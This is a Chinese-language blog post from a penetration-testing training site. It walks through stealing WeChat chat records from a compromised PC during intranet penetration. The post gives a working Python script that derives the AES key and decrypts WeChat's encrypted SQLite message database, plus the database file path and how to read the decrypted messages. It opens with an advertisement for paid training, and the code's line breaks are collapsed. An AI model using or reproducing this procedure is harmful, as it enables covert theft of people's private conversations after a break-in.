信息收集之获取wx聊天记录
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
在内网渗透中 一般我的习惯是先打一台PC机,当通过某种手段拿下PC机后进行信息收集大概是可以用到,另一种是获取了登录账号密码,没有远程 也可以通过smb将文件传回本地进行信息收集,场景很多,根据具体情况而定。文章不知道会不会和谐,且看且珍惜。
下面就手把手教大伙如何获取目标的聊天记录~~
目标上线后可以通过VNC、截图、tasklist等多种手段来确认微信是否开启

获取key
使用工具 获取微信key
获取key后通过脚本进行解密
Python3
from Crypto.Cipher import AESimport hashlib, hmac, ctypes, sys, getoptSQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)IV_SIZE = 16HMAC_SHA1_SIZE = 20KEY_SIZE = 32DEFAULT_PAGESIZE = 4096DEFAULT_ITER = 64000opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')input_pass = ''input_dir = ''for op, value in opts:if op == '-k':input_pass = valueelse:if op == '-d':input_dir = valuepassword = bytes.fromhex(input_pass.replace(' ', ''))with open(input_dir, 'rb') as (f):blist = f.read()print(len(blist))salt = blist[:16]key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)first = blist[16:DEFAULT_PAGESIZE]mac_salt = bytes([x ^ 58 for x in salt])mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)hash_mac = hmac.new(mac_key, digestmod='sha1')hash_mac.update(first[:-32])hash_mac.update(bytes(ctypes.c_int(1)))if hash_mac.digest() == first[-32:-12]:print('Decryption Success')else:print('Password Error')blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]with open(input_dir, 'wb') as (f):f.write(SQLITE_FILE_HEADER)t = AES.new(key, AES.MODE_CBC, first[-48:-32])f.write(t.decrypt(first[:-48]))f.write(first[-48:])for i in blist:t = AES.new(key, AES.MODE_CBC, i[-48:-32])f.write(t.decrypt(i[:-48]))f.write(i[-48:])
运行脚本安装pip包时,一直安装失败。出现了一些问题,一番探查 发现原因是pip包冲突了
解决方法:
卸载crypto
pip3 uninstall crypto
卸载
pip3 uninstall pycrypto
重新安装
pip3 install crypto
此时就可以运行起来
解密
微信默认安装路径为:

微信聊天db文件存储路径为:
C:UsersxxxxDocumentsWeChat FilesxxxxMsgMulti


查询聊天记录
使用navicat连接db文件

查询聊天记录

也可以使用db browser查询
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6555.html

